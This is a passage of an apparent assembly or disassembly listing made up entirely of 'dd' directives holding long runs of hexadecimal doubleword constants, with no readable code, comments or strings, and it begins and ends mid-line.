91000C2h, 0F2DB35D6h, 80069EBh, 0DAD7A38h, 7229CC27h dd 36B700F6h, 4A3F842Bh, 5A002653h, 0EA7DB499h, 2645587h dd 0DE95E203h, 0E38061C3h, 17E92808h, 0B6261C09h, 4990C0ABh dd 90450076h, 0CE35BA03h, 3A00B45Eh, 0D4106F27h, 224EEC8h dd 0BD544693h, 587CEC65h, 584C2700h, 2C8A23h, 0FE672A83h dd 0A4CC4DAFh, 0AD2DD900h, 6F4F07DBh, 98761Ah, 11C60F48h dd 0F0E8662Eh, 0CDBD1600h, 82D5A284h, 0E3FD135Fh, 30F40199h dd 748A626Bh, 0C21215F0h, 680063A8h, 0E12849C3h, 0F03026ECh dd 0CC480080h, 56603133h, 3E0B7C00h, 0AAE4C290h, 0CCBD4804h dd 0D11BD400h, 6466CFFh, 47926B00h, 0AC2FB677h, 0BF9B0754h dd 0B02060F6h, 8111B150h, 80B7E1CBh, 0BC9703A8h, 0F0F20F33h dd 0D6615FAEh, 305C2E93h, 38E64CE2h, 6C09C900h, 0E1378083h dd 189401FEh, 7D2BA120h, 324FF814h, 0B54E8F0Ch, 12A0E0A7h dd 8865121Bh, 790618B8h, 5F0443A5h, 0C34900E8h, 0F29E6C0h dd 8600468Ch, 0FD186A5Ah, 3A099170h, 0AD1FC648h, 951AC7A6h dd 80B69F11h, 7EEE8040h, 0BA3C6C92h, 0DBF116A2h, 0D4414400h dd 301B28Fh, 0C586A6CBh, 880038F3h, 0EA363FE2h, 2800ADFh dd 0A2966D12h, 0C960D9E6h, 0AC1C6B22h, 0C4CE6FF6h, 441DB704h dd 249AE528h, 75B4CA00h, 0B00859DCh, 0F9900052h, 619835D5h dd 72009B2Eh, 2FAEC489h, 99EE7C6h, 556D4C77h, 5D746800h dd 9A0E069Fh, 602EBDEBh, 71DEC581h, 2F0500E2h, 14F407Dh dd 4E00A633h, 0A399047Fh, 6AC37E9h, 637DDD62h, 0CA1CE075h dd 52C09687h, 3ECE82ADh, 0C0600EBh, 972071F5h, 0FE7B4B3Ch dd 0B0950700h, 2A16C136h, 2D775Dh, 0A687AFB2h, 0F1E7C25Eh dd 0C069602Eh, 54C0F00h, 5F41B6h, 2BFEA253h, 0F4199E92h dd 57150404h, 4680D807h, 28FFCDBCh, 1C4862Dh, 652EA5C7h dd 604EC066h, 0EC001BD8h, 46EF6CA4h, 0C1738FAh, 4B83F963h dd 4F7FEE32h, 28923400h, 175A4407h, 802E0742h, 6249CFA1h dd 6840BAB2h, 18004033h, 94178D12h, 5D8A90h, 0B065AD1Dh dd 0DE8495C6h, 0FF542100h, 0DA5932F9h, 0F04E0061h, 0B006C34Dh dd 0A900A1B3h, 53E67DC7h, 0ACFC47h, 8B1292DEh, 6478DAC4h dd 0C9A86650h, 1E7C5503h, 0EB4AFB51h, 0FE00A56Fh, 0D87B54CEh dd 0D1DB0086h, 52D5AA4Ch, 0F97AFA71h, 1EA05149h, 0B5970788h dd 0B479A4B0h, 0B1F100B4h, 781A140Eh, 656A0B13h, 2F9CB0h dd 4E3DCF74h, 0EE5F26CEh, 7CC97101h, 971C93D5h, 41E2E4h dd 5C919AB1h, 82FA396Eh, 96DAE900h, 3D02ACA0h, 8A6003Ah dd 0AC02AE7h, 98A0B9EAh, 0F04FCEFBh, 163A385Fh, 90406753h dd 5BC9527h, 0A5170099h, 0F2F70DFBh, 443CA647h, 8CE88067h dd 3C55E9CEh, 21B74B0h, 119679C5h, 7476B4C3h, 31EE9502h dd 0B847DEh, 0BE33DC4Dh, 22FC8189h, 0C4680095h, 74EE4021h dd 0F73E260Dh, 3A010064h, 91B0566Ah, 5000975Bh, 9B0BC914h dd 51410049h, 9FEA040Dh, 0C30E39B2h, 0C0360E88h, 1A13DAAh dd 0DF51016Fh, 1C946389h, 2F50E0E1h, 98DBE531h, 0EFE0D107h dd 0B2713Ch, 0FB5447C5h, 906B68E9h, 0F8923D07h, 0F401DE23h dd 0C03CF656h, 0FBCB0075h, 9E5B6DFh, 0F00AD0Ah, 70AB9BA6h dd 0A19F54Ch, 3060DBB0h, 7D068368h, 0BAF0B5E9h, 7B00F612h dd 7EACD98Bh, 2685AE2h, 1569752h, 0D0787305h, 0FC114E00h dd 5BED702Bh, 97B800BFh, 0CA602FB1h, 223B133Eh, 0DCCE8088h dd 0ECAD9DE3h, 5EF80787h, 0FF3CF749h, 1394134Ah, 83C0C251h dd 3FC0808Fh, 0A0871946h, 0ED01BE7Ah, 0F42C801Fh, 5024159Eh dd 0B9256322h, 64F18E53h, 982BDC89h, 38BD59h, 557D3BF1h dd 41663Dh, 38280FBAh, 982553D5h, 0C8170800h, 0E64B446Ah dd 183FCDBh, 0D41EB402h, 308910FBh, 0AE4CBE70h, 0EC007681h dd 0EF36DBB7h, 0B63E5Bh, 0EBF94543h, 4D8D4A93h, 3200C4E8h dd 0C9E73F34h, 0D574A9h, 9AC66EB4h, 0E4FDE2FBh, 5B531B05h dd 88B841F0h, 7838F377h, 0FB443400h, 8A82055h, 0C140D904h dd 7C83043Fh, 288A80Dh, 155C0192h, 0BC814420h, 6B86D4B9h dd 6D82CB12h, 24F5A9F0h, 29CB78Bh, 0DD9FA45Fh, 0E603C7Bh dd 49A85C37h, 5C557C65h, 493F7C40h, 18331E21h, 0F86A83EFh dd 6EF05175h, 0AA00C1DEh, 0CD1E411Ch, 137CC5A5h, 0C8CA6219h dd 0B2021D40h, 77C2E1CBh, 0C432C0E4h, 0F582008Ah, 0DEEA6F9Ch dd 450098D3h, 653B857Dh, 0C41FFAh, 6EB5B12Fh, 0DABC67CAh dd 70E21C07h, 34D3BDBAh, 0C2E4880Dh, 74E67E0Ch, 0E3A20194h dd 91FF877Fh, 609421DCh, 0FE0903F1h, 36C680h, 0BF42A775h dd 647F48F7h, 69AAE603h, 44C0A177h, 85044379h, 87644C2Ah dd 747344A0h, 12C80169h, 0C0148A78h, 0AF9420F4h, 534D602h dd 687B907Ch, 716A10h dd 0AC8F0178h, 4D224629h, 3F94B80Ch, 0F320DEh, 9E6E04B7h dd 0A2707A7Fh, 9627C300h, 3548655Bh, 0D2AA005Ah, 6C2E1876h dd 0B500EA99h, 942312BBh, 0E8AC8A0h, 439C3829h, 825BAD43h dd 47BF7A98h, 0B42D2098h, 28004FBh, 0FA0BE083h, 7F878E2h dd 0E9816194h, 58E446F3h, 32625C05h, 6CF0EFEEh, 0CD250027h dd 7B4B93A1h, 164B5307h, 0FC858C80h, 6864004Dh, 0DCD8F346h dd 3D001DE9h, 0D5DEAE4Bh, 0F888D412h, 43580076h, 26B920B3h dd 6601AB25h, 307CE035h, 0C0CADE5Ah, 0FFE1C0h, 1B52F359h dd 0F366E0Ah, 9286D500h, 4E07EA6Dh, 178A005Ah, 5D2612E8h dd 0AE009E04h, 0D6BB338h, 182FFCA3h, 0D8A6A9C4h, 2A009FCAh dd 0BB353784h, 3F965356h, 208525A3h, 80A708FAh, 9F920E11h dd 0C833E000h, 0E507D399h, 47D500C2h, 889A7479h, 0AB003031h dd 1785EDDEh, 367B237h, 0A3625E24h, 26A07783h, 0A772F910h dd 3EF1970Ch, 2511A2h, 0F47351BEh, 0B2E18C4Ch, 777FD300h dd 2EBFFC7Bh, 0FDA80027h, 0B46DBA0Bh, 0A91D2C18h, 4F80B70Ah dd 901C5AC6h, 0EFC900A2h, 577F214Ah, 0FB72DE5h, 2AFBA068h dd 5DBAF06h, 3E85EC4Dh, 0E22CC2F1h, 4BFDADE0h, 8054563Dh dd 5D81F722h, 9E9648h, 35C1D6A3h, 436AE9BAh, 80FF5538h dd 0AE831822h, 0F5D220h, 0CE237331h, 8CC8B267h, 0D6548800h dd 34064786h, 768F00C0h, 38E3EE98h, 0EA1CFED9h, 0E7002E62h dd 111B923h, 433700A9h, 67BCF0C9h, 81007F47h, 349444F4h dd 0E86406h, 58A83BA1h, 73DA504Ch, 0E0A6A226h, 0E561B600h dd 39AF7D60h, 5007407h, 89CDF0D7h, 9FE62538h, 8E7CBA3Ah dd 0A014DD58h, 6DA6D46Bh, 0E9980017h, 0DA15A248h, 2900EB70h dd 1CCCB349h, 3C0CC647h, 0CDB0B2FEh, 0F0D05A10h, 9A027100h dd 6AE196C1h, 37FD0059h, 981EB530h, 0D11F1B3Ch, 2940CB5Bh dd 4E994D97h, 457F2Ch, 9B9AB6A2h, 19155E62h, 3AACCE00h dd 6F5DCAD9h, 0C4E0014h, 0AD13B6C8h, 9579DDA0h, 0FD604603h dd 0E6F397h, 0ABA30CE0h, 9E8567E5h, 704C8300h, 4690A76Bh dd 81C1072Ch, 735F4274h, 24886148h, 0B8168F31h, 92074D03h dd 0FE0FB5Bh, 0F255D9B1h, 580800F3h, 0FF761741h, 0EFF6E81Ah dd 0F03A7438h, 0A8C79728h, 5F014800h, 7E2AFA98h, 94F603E7h dd 7151C53Ah, 0C81908A9h, 0C40073D8h, 0D5D384A5h, 0A66EAF1h dd 0DB95259Fh, 1FA002F4h, 32C06A07h, 0C7001343h, 6091EDF6h dd 0E89A0CBDh, 0BE3002D3h, 0C6513863h, 4AB14FC0h, 425D2000h dd 197ECE74h, 8D320044h, 4CA84DFAh, 643DB3F4h, 40240EDCh dd 761AE041h, 3ABA6D85h, 0AF00F669h, 0DA1C3436h, 5B036C31h dd 0C0E9F222h, 0F521D8EEh, 96CD0029h, 64E667A6h, 1B0F8D08h dd 4075B5A5h, 4023B99Ch, 0E17F87h, 0A3E27491h, 0A17D14E0h dd 0A99E9D00h, 0DFEAFADEh, 0CF9B0753h, 0C0234B62h, 0FDF254C6h dd 9EF7E39h, 20D24203h, 0AC3B1250h, 9CA045Bh, 0C78541D5h dd 0F81A10D3h, 0B600919Eh, 906F595Fh, 3970DF98h, 513E57E9h dd 16498400h, 0A1185420h, 8E6D4800h, 0EAE1CC25h, 5E9B03B3h dd 0C0233C27h, 54F310F8h, 79D31400h, 0D463C4BFh, 264901BDh dd 0D0EFE59Eh, 39AAE0D7h, 0B8109F61h, 63F0F2DAh, 6F220079h dd 0E7E6FB7Dh, 3C92FAABh, 84180870h, 0D80801E1h, 8351005Dh dd 0AD662858h, 0F03EACE9h, 0C9007005h, 63FAB11Bh, 1879298Eh dd 500984E1h, 260FE060h, 7B4124h, 0B4299E63h, 60DEDDh dd 0EC8FC2EBh, 90C067B3h, 86491BCAh, 296B38E8h, 8AE650Ch dd 0DF076449h, 3D7DB109h, 0D343DDA0h, 847200A0h, 0D203CA91h dd 3F00DCFAh, 6E199F8Fh, 2E8BA86h, 6CE22C7h, 2FE08460h dd 82004063h, 168346D6h, 7BD14B11h, 3BFAEE8Fh, 2300793Bh dd 44809A0Eh, 5C00F6D8h, 53189919h, 0C0375975h, 9D569A8h dd 0F507BDE9h, 340A5E56h, 0A2418641h, 15CCDCh, 3A0C6AF4h dd 0D61975F1h, 0DC239E01h, 821CFB53h, 7309D0h, 4BC23165h dd 57FEC639h, 9DA10A3Bh, 0B89C6D15h, 55F158C9h, 6679080h dd 700C552h, 17184645h, 0B09EE6BAh, 0C65A3CFFh, 770B1Fh dd 736D3C4Eh, 59077E50h, 4156AD98h, 83AB6EB0h, 0C38502B0h dd 0E4A6579Ah, 1206C0A0h, 5D1E14C7h, 6B07475Eh, 32C6462Eh dd 0AAC0F21h, 0D5E099C7h, 6E40D4AFh, 0F49EEF05h, 0CC40A9C8h dd 1C230F1Dh, 8120685h, 83AFC64h, 603C20EFh, 24C84602h dd 576321CEh, 0E060A8C2h, 900420Ch, 856282F9h, 0A7A48ADh dd 8C9AC4FBh, 0BC5F4050h, 16215D11h, 0EF9146h, 0B4C717ABh dd 40E43CCh, 4AC9B2F5h, 2DC5800Dh, 207DAA11h, 8D660979h dd 39E568h, 0E2CFEB39h, 0B57A6E3Fh, 2099BA30h, 2A9065h dd 121DB7FBh, 44E032A3h, 0D25D382Eh, 803F8A0Ah, 0BC1EE882h dd 8E8880D9h, 1FABDC5Eh, 8061470Eh, 0A4CD557h, 181E63ACh dd 0EDC0DA9Ah, 3DC5FB83h, 735D00BDh, 0E109C411h, 0F900BF1Dh dd 0EFB40EA9h, 4BB554h, 9E64DE51h, 1B2050E0h, 7D3570E7h dd 6530D107h, 24607044h, 43AF61h, 2FC8C219h, 0BDCEF15Eh dd 3900B97Dh, 0DF3DC74h, 0B24670h, 0F4EB5401h, 0D6FDC027h dd 5D0AE400h, 3449EDE8h, 7EE9007Fh, 968F0C22h, 0C2132B80h dd 0A00CECAh, 0C1E610E1h, 6FDA1712h, 0BB060050h, 55F33264h dd 5A93A90Fh, 8E1020ECh, 0A83822h, 0A5859A4Bh, 0C3CB42Ah dd 6F443000h, 1F9967EBh, 0E2410290h, 54517114h, 16CF82E0h dd 0EA6C8800h, 63B0CBE3h, 0D987014Dh, 482394EBh, 4160834Fh dd 79C01A6Ch, 43E73010h, 19C9AE18h, 55777C00h, 0C7C48B07h dd 2DA9E003h, 1150E9B7h, 4FEE7300h, 0C28AEBDDh, 3A7837h dd 7BCFB7A8h, 0D913A1A4h, 0CE342D00h, 0F7F03E33h, 601079DBh dd 3A4878FCh, 44634F6Eh, 0B0A270h, 0BD16AF1h, 1FB545D8h dd 94C3F21Eh, 0A35815C0h, 0B7FEE3h, 0CBBC41FAh, 9BF3EE56h dd 4F80A600h, 0C2D047C9h, 0ECAE330Fh, 0FFF0A788h, 30C0062Fh dd 0CFEF97C3h, 0E5500C31h, 2D719946h, 6FB56A14h, 0C7B158Ch dd 4C370580h, 3987D2C0h, 0E00FE137h, 31C12B6Ah, 4B9B0D3Eh dd 0ECC074A6h, 875E85FEh, 0E0873E0h, 5EBE425Ch, 7C5D2680h dd 0A9B0D5DCh, 0FAF77000h, 7398B384h, 1ED1007Ah, 322E72Ah dd 40C57C49h, 96009268h, 0E16F94A8h, 4A06006Eh, 0A86F0ABh dd 0B50905A4h, 408509B6h, 7C5C3Eh, 53354A42h, 0B5B41452h dd 26271002h, 43203F03h, 80A5E21Eh, 1E29A750h, 263000E6h dd 0AFEB4377h, 9E0C150Eh, 0B02501FAh, 7EAD0078h, 28AB274Bh dd 2B753D90h, 53C07B07h, 8F3F6471h, 0C739C058h, 604881AFh dd 83A31954h, 0E376E8FEh, 6B286560h, 6393451h, 0A7D503C8h dd 136C1949h, 1D8718E8h, 94EC7Fh, 0AD2DC5D5h, 0C90C856Dh dd 0C8444CFCh, 2F4F0041h, 0E8BBB8Eh, 0E414707Ch, 0AA0460A3h dd 0A0011ECh, 0ECB87BFh, 12C3F8h, 0C181B373h, 535204B8h dd 83FDB63Ch, 5CC02CCCh, 51103A15h, 943AF24h, 0F180FB0Eh dd 0BBF15FCDh, 0FD851800h, 0C96FD18Ch, 6B7E3E8Eh, 1DCA8400h dd 0F718FFDDh, 4B3B400h, 0CB8EC054h, 70BD183Fh, 7BFF60E3h dd 0E276FC60h, 295C440h, 94D91083h, 917C7D93h, 80FB781Fh dd 29454717h, 7CE4056Ah, 4B3C1FBBh, 0DDB40AFh, 7F755CC9h dd 0ED299162h, 3706226Ch, 880EE82Fh, 1188DD3Fh, 0B94C9F6Bh dd 14443340h, 35DE44A8h, 0B1313CA0h, 3C6829DFh, 4D504002h dd 83594548h, 2139A928h dd 820C8B79h, 0A09D2955h, 89CBF328h, 4614416Fh, 8104EA63h dd 0BF0CCF21h, 55284251h, 6D652214h, 7287442h, 9AEF3250h dd 0D7108929h, 0A179DD4Fh, 98997B08h, 0A5C029CDh, 49912C00h dd 0D09ADDE0h, 3C8F8BBh, 726E17FCh, 7AA83C70h, 5B00E52Bh dd 2399116Fh, 2219C4h, 0E13D1AF8h, 0ED838EB2h, 0D343F100h dd 0AB634976h, 0AE900CFh, 407A56D6h, 0FE003D5Ah, 2EE7291Dh dd 0E6DB758Bh, 0C9BE00CBh, 0A29AB27Dh, 0DD00AA62h, 724E2833h dd 0FEF405h, 18498D73h, 0F37824B2h, 197B5B00h, 0B333DBAh dd 5972FCh, 4A41E8A2h, 23E25CD1h, 0D981FB00h, 29F263D2h dd 0F534009Ah, 9E9D04DFh, 3C07CD17h, 0EC82D806h, 0C702BCC0h dd 34B1023Ah, 2F55F6AEh, 0C89E12C1h, 0D100E5BDh, 6A389FF4h dd 0F24E5F21h, 9605001Bh, 81E4200Ch, 3486CC5h, 0B62900BCh dd 0B3A2692Ah, 0F1AB0039h, 0AE0C581Bh, 0E83AC434h, 1822097Ah dd 9D810069h, 0D0DF7Bh, 71CBD357h, 14A62A5h, 64E3D700h dd 46D4F08Ch, 10D56059h, 0F3475CF6h, 667FAB0Bh, 8B2700C2h dd 3F4BE80h, 26E0C32Bh, 88006D60h, 0FE8DB428h, 3AFCACh dd 17349DFAh, 218696DDh, 72607700h, 7EEF8DD3h, 309B065Bh dd 108F20CEh, 1449A500h, 0C68E28C8h, 89271EC5h, 842600C7h dd 340A3CBCh, 915F0903h, 0D0CA323Ah, 15AA34Fh, 0AD66557Fh dd 0C0DE308Eh, 0F700B216h, 51AE23FCh, 260799h, 2A6F7EE4h dd 6A92BCD5h, 2901C500h, 0C18811BEh, 0F4A0FF60h, 987000FCh dd 581C2D93h, 3B1E4C14h, 99C0F504h, 0A7F0ADB3h, 0E27C002Ah dd 690E3C5Bh, 4B7911A8h, 0BE8F3E00h, 90067FF6h, 0A27D0976h dd 2B00055Eh, 6664E872h, 1AB7841Eh, 40C053DEh, 0BAED222Fh dd 83FA7Ah, 0F10A7816h, 275C12Eh, 0CB4A4B00h, 18E1BABBh dd 6C670072h, 0A61D9A8Ah, 493C6387h, 0AD7D1E43h, 0C000E913h dd 0F773A4D8h, 2F7E0007h, 419EC946h, 6F005F95h, 1DE45716h dd 692411h, 0C4C68F4h, 0F1B02173h, 9E2C3000h, 6A85C87Ch dd 40513BE8h, 78121500h, 297FF8Bh, 9326C000h, 0D4E66B64h dd 8AB8005Ah, 0DF0B766Ch, 5801C99Ch, 0E42ACA09h, 2ED91D26h dd 5511A03Eh, 8694E909h, 67800C0h, 781E96h, 0FC6175B5h dd 31630932h, 8E025200h, 0F8D95CF0h, 84600A9h, 0BB131B35h dd 4D0030CCh, 21753B0Dh, 0C09623B5h, 22EF92F0h, 39EAA77Ah dd 28F37400h, 21905B3Fh, 0D8E1039Fh, 0E200225h, 9087379Bh dd 0FC78FEC6h, 6F441A00h, 0A1C0AF76h, 0F17AE3h, 5EE91088h dd 25E7310Bh, 241A560Fh, 0B620C75Ch, 0D3E12D30h, 0CCE90060h dd 0EB6C0270h, 0C9012FF4h, 0A99C75C7h, 0E9D032CFh, 313018ACh dd 39E20820h, 7B001BECh, 0F76F4FDh, 82D23Dh, 0F3A5A881h dd 3E470374h, 34D0480Fh, 0C9BA802Fh, 58CC3Ch, 0EB7F3AF1h dd 65AE9F54h, 589858h, 15D703D3h, 586F41A8h, 7C000A8Ah dd 0F658365Ch, 0E1007B33h, 537130CDh, 28A5B03Bh, 3F909CB2h dd 321C158Dh, 62F4319h, 3D9826C5h, 0DD1CA885h, 0B580EE64h dd 7A1FFBD8h, 18300080h, 3DC2B396h, 0AA00F5D1h, 6CB57952h dd 0C3B2DDh, 0C4364575h, 0AE6837Ah, 0ACFB4428h, 0B1133203h dd 0B7B4E809h, 4015D872h, 320DAC0h, 16727105h, 35A05BE3h dd 85048FBEh, 624546B4h, 0DD5C7CC0h, 5F5A183Ah, 0D4E91061h dd 4C896800h, 0D57411Bh, 0D62526A4h, 51238038h, 21AD8B5Bh dd 0A5CB4B00h, 1ABCF6ACh, 0B41E07B8h, 0D0EA1864h, 0F56B7CD6h dd 0D207A400h, 77E59B35h, 0FB3200C5h, 0D4F346EFh, 0CE00CA36h dd 60C690D0h, 0ED7BD8h, 9344B7F2h, 9F61FF73h, 92EA7800h dd 0B53526E1h, 0AC023C33h, 0B82CA980h, 0CCC1E8E7h, 1009A0FEh dd 3EB9E0Fh, 90618454h, 0D92D39h, 40FC18BAh, 4B65E5CBh dd 90ABA300h, 152A5DFBh, 0B1B4000Eh, 0F2ACAA77h, 600449Eh dd 40D3DAE7h, 7557D467h, 15C112CCh, 0DBCC0073h, 441E26BEh dd 0D4E39A12h, 12507800h, 336DA9h, 0C3B99166h, 0A3B114BCh dd 6792B500h, 75170968h, 0B6E116E0h, 451400C1h, 0AB06DB6Eh dd 0D65CD800h, 8644845Ah, 6C1F280Bh, 0F72100A8h, 0D4E82E43h dd 0FB001448h, 0A6FE6D3Dh, 50D771B6h, 0CEE785h, 8333B9Dh dd 0F2393C57h, 1D01FAE0h, 3DC10B41h, 93D8F1EFh, 16EB0009h dd 0BF709EE5h, 5424AE74h, 8C0EFCB4h, 57EC80D0h, 0B0C559B9h dd 18C00040h, 0A4B8C1E9h, 1A00F369h, 628E602h, 0FEE43BCDh dd 6E5D00BAh, 0C24A991Ch, 0B6001E43h, 0E6B93F91h, 0FDCA10h dd 0B820FFF6h, 371C7B53h, 5E76E400h, 45110474h, 100F03C1h dd 20921848h, 2FD047B8h, 4D00F87Bh, 41A9AFACh, 2F373C01h dd 5CD6192Dh, 1740EF1Fh, 0B3BD5E5h, 42403B91h, 7101B13Fh dd 0D8848667h, 0E40CE89Dh, 0E81F4C00h, 0AB99D3A0h, 8CDE0068h dd 0E92FD66Fh, 3100D2BAh, 66AE7058h, 0F2358798h, 30940786h dd 60648C56h, 0D9E9625Bh, 1D217D01h, 4AE08957h, 26737470h dd 83848367h, 0E8D2AFD4h, 20F381E9h, 61023E4Ch, 4FA24470h dd 7A9D80EFh, 80F78Ah, 942BA88Dh, 3A506265h, 0CF331D1Ch dd 31004866h, 5DBD6D77h, 2AC3000Eh, 0A6019D28h, 8C041694h dd 72D5881Bh, 7F9B4080h, 0DF25009Fh, 0E732C268h, 5D009A1Eh dd 2DB63A6Dh, 2C8EF12Eh, 3D981AFBh, 4D0029CCh, 0B4BBC55Ch dd 0B5000871h, 0E64F75E4h, 148F6364h, 87AC24DAh, 9F8A0E00h dd 0BB047103h, 8C745F00h, 417EDDE0h, 3F2000C7h, 0BF0277B8h dd 3CFC63B3h, 0DDCD1B00h, 6CC3701h, 4A470C09h, 81C4BAFh dd 0CD406C0Fh, 173B204Dh, 1D77DC96h, 707EF1h, 0C724A55Eh dd 0AB00F709h, 0A03C4AAFh, 0C1CB33h, 0A65AE665h, 0AC67E0EFh dd 907E0B00h, 4EAEF72Ah, 0BE8B007Bh, 4182E448h, 8003675Eh dd 944599C7h, 7ED49076h, 0BF893B8Ah, 17EEFEACh, 2AA60001h dd 8DB2EDC8h, 0EC5B2126h, 3B37B700h, 764D6Eh, 0BF7D69C7h dd 0C6239910h, 8E241B00h, 75DCF195h, 5579001Fh, 0FDB0B349h dd 0C4E2B95Ch, 5DEB2600h, 5122AAB6h, 40717212h, 0C0001ADBh dd 7FE1A190h, 77737E30h, 1FC90E0h, 0D0852265h, 0E19309A3h dd 2068E0CDh, 8057C00h, 7E2E013Eh, 0EC81009Ah, 846BA533h dd 0E21887F4h, 9BB98FBAh, 8BE6D4h, 635A9950h, 342A9D38h dd 44E9782Ch, 87BAC200h, 7F56B989h, 4F7F93h, 9820DF55h dd 0C27A231Bh, 0F800F34Ah, 30E5A17Fh, 0F6B8C0A4h, 2AB4AD7Ch dd 0EFFC2707h, 5BF7D143h, 904CA640h, 94E064h, 0BFD216F7h dd 2A3DD97h, 693D3Ch, 56D157DEh, 407F250h, 0B3EE1A27h dd 0B4ABC078h, 12B872B0h, 9CF62C1Fh, 506F8AC0h, 1F1CD24Eh dd 5C4DFE33h, 0C6AE0177h, 8B15E9DEh, 20B3D88Ah, 0D44F577Ch dd 380C0095h, 0BECAC86Eh, 0E800DFA6h, 0E44E39BDh, 7C7888Dh dd 8B07EF30h, 773E0068h, 4200276Eh, 7F35FA95h, 0EDB217h dd 0A267990Bh, 23F960F0h, 57F8C902h, 70367335h, 0AE9700ACh dd 62B8C89Bh, 9CF43B4Dh, 54793A03h, 0DC750Fh, 0DA9EDE48h dd 0D12E18B1h, 930004B0h, 3F412BA3h, 0FA79DC9h, 571AA989h dd 0FADB5280h, 4F0E0A2h, 0D47EF305h, 0A001995Fh, 0CBDFD87Ah dd 6069F4h, 5BAEF94h, 136568AFh, 0BF281F00h, 6D5E35B2h dd 0F1440075h, 0CC815F4Bh, 0A5F2B97Dh, 94E9003h, 0F01806D3h dd 3AD03D9Bh, 48057C1h, 26E30284h, 3C00C5CDh, 89DD9033h dd 0FADC3E2Ch, 0D1B0FCh, 740B70B1h, 0C02188D0h, 0B9732300h dd 3CEF0468h, 0B1E60192h dd 0B7F88D26h, 0DC188083h, 0F45C1881h, 0D3623AABh, 79C6518Eh dd 965F2F00h, 7100EE13h, 0AAFC309Ch, 0D6E11Fh, 2C0D5C1Eh dd 159869CFh, 0F1940C00h, 4EB5EF26h, 84AE0021h, 28127A3Fh dd 29242FB8h, 0F1000BBFh, 5FEAC258h, 933FC80h, 0A5E1F83Eh dd 504FA907h, 1D6EC045h, 2D056BFCh, 6B66AABh, 17247F80h dd 0D5B100BCh, 0E52EA490h, 400EB0D6h, 80F225A6h, 970DD42Fh dd 3DB40013h, 0E75CBDB1h, 270019AEh, 0C9ECC6EFh, 9C369Eh dd 0B472946Fh, 0D0CC33F3h, 0E545F100h, 86BC82AFh, 22390420h dd 0C00A5997h, 7E900679h, 0D7001DFCh, 0A5B2606Bh, 7E8D9561h dd 73640365h, 700C4492h, 40B5F0C1h, 0FB616A8Bh, 35DF3B00h dd 20538C9Ch, 48A2009Ah, 0D82CD07Fh, 1E1CC2DEh, 5C8062C1h dd 0F420329h, 4041C0F6h, 4A585A7h, 2B076272h, 53BD9B84h dd 1AC6B210h, 0BC41886h, 0F80909DBh, 63FA3100h, 8F696E5Eh dd 0F2BF077Bh, 0C0BEE74Ch, 0C445B946h, 7AA5E539h, 31B441F9h dd 8543308Ch, 0B79B0300h, 1EEF4172h, 2DD000D8h, 916AC859h dd 693D252Ch, 0DF00776Eh, 8294AD24h, 14B114Fh, 3AF13848h dd 0F0A29D22h, 0D1001014h, 42FC7629h, 50BD5312h, 0CADCBEh dd 0C49DF366h, 80FD7A3Eh, 0DC805298h, 6C1D112Ah, 5008F8Bh dd 0DF67B86Dh, 35B93F4Bh, 0C565F880h, 807FA103h, 0A972370Eh dd 548EE0EAh, 3F0499E0h, 800CE4Dh, 0D798FB0Ah, 0F55C8342h dd 39B60345h, 0E0178Bh, 0A1FCDF1h, 0B3B8FCDEh, 153D532Eh dd 0DCAE540Eh, 8F103618h, 0D7FE0C6Eh, 0BD08B68Dh, 1560281Dh dd 8014DC0Eh, 54273BEBh, 30386017h, 67CCEF08h, 835D3539h dd 0E11E4E19h, 127009C4h, 9487E7F3h, 7408A353h, 78BC49C8h dd 0B6D72300h, 98FCB2A9h, 75383A60h, 0F79A7980h, 5291D84Bh dd 0C7160604h, 47C0B9B7h, 7DD4C5h, 1FD7559Ch, 3E968932h dd 0D9E08700h, 0EB7137E2h, 0AF9B3F11h, 92D2D380h, 0BEB88EDCh dd 2B697D02h, 0E036B6B7h, 19E59Ah, 805E17AFh, 0F576F046h dd 0C8397FE8h, 316E0C07h, 0E1316Ah, 9D8FC58Ch, 9A1F1BCFh dd 3B01C278h, 0C35E61B5h, 26FC2DFCh, 0EEAE3065h, 7C3F37F0h dd 250A2000h, 2994285Bh, 0B518006Eh, 0DAA5F0CAh, 0AF0006E8h dd 9AFE4DC5h, 7114D2CCh, 0C12400D4h, 0F242EA69h, 0E1004749h dd 710E986Ah, 785BF3E2h, 1EBD07E4h, 0F0F2115Dh, 83E64147h dd 0B07880FFh, 0A721E526h, 0E9EF00C8h, 0CF25D3FBh, 0C103174Fh dd 1A75434Bh, 32789161h, 1D3537E8h, 47BDDB23h, 70B242D5h dd 67BB8A03h, 2AFA3Dh, 0E312811h, 598E7Fh, 0BE0A5D52h dd 0C7142FAAh, 0F100A8FEh, 37CD2851h, 0FE5CB9Ah, 68BC4E27h dd 865AA4C0h, 231DBDAAh, 4DC34FAEh, 80A993A3h, 0CDCA7Ah dd 95099E24h, 148D7C7h, 32EFF703h, 985C1B27h, 4BD341h dd 54BB0E50h, 0B135CA82h, 36C1A700h, 0B87C92BCh, 2F320091h dd 19F2E1ADh, 2A00D4EEh, 23306E7Dh, 8D397C8h, 89B24159h dd 0CEAB6100h, 0D98581h, 0A32B193Ah, 71CB45F2h, 0AF540B01h dd 3FEA0F94h, 58E03DECh, 85003B6Bh, 0A21EEC12h, 0EA9802DEh dd 82E9270Ah, 400CA10h, 0DC1D53ABh, 3C10066h, 0C61CB420h dd 0F100417Dh, 0C4A676C7h, 0BE108Fh, 672BB2CBh, 2043AA5Dh dd 0DD54497Ch, 1300C41Ch, 0AAC5E318h, 0D528ABh, 0D8A9905Eh dd 0C8F00C8Eh, 45DC6905h, 0DC003125h, 2A9EA543h, 0A76A004Fh dd 0C1BB4877h, 0FC0E0A32h, 0E091F035h, 56A35F07h, 0B6730029h dd 0A2211D18h, 3C39B2E5h, 7D583D6h, 80EA1931h, 92E313h dd 0FAF83AA3h, 0ED47AAC8h, 8BCD0E00h, 63A9BE46h, 49570017h dd 798214D7h, 0A5B03ED6h, 0E4F37600h, 0AE1C7A15h, 0CC9E1E21h dd 0B6F7C087h, 0F5F1887Eh, 0DC98D600h, 0FFF86C24h, 690B0007h dd 66CCF368h, 3C00DEC5h, 0A74D70F4h, 0BB41D5h, 9B240E56h dd 8FB130D6h, 0E598521Eh, 3FB5037Fh, 801EC112h, 621AD8h dd 94E995F1h, 7F031750h, 29205E00h, 42E00DEDh, 0DC1E38E5h dd 160C9D80h, 0E3C6046Eh, 0C810880Fh, 0EE942062h, 4271CDh dd 0E5AB9F92h, 0FB6B642Dh, 0FAE06100h, 208F0667h, 0F8EE2028h dd 0B2EA261Eh, 0E0B5B380h, 2A9FDFh, 0AD6834AFh, 0D9F1FC1Ch dd 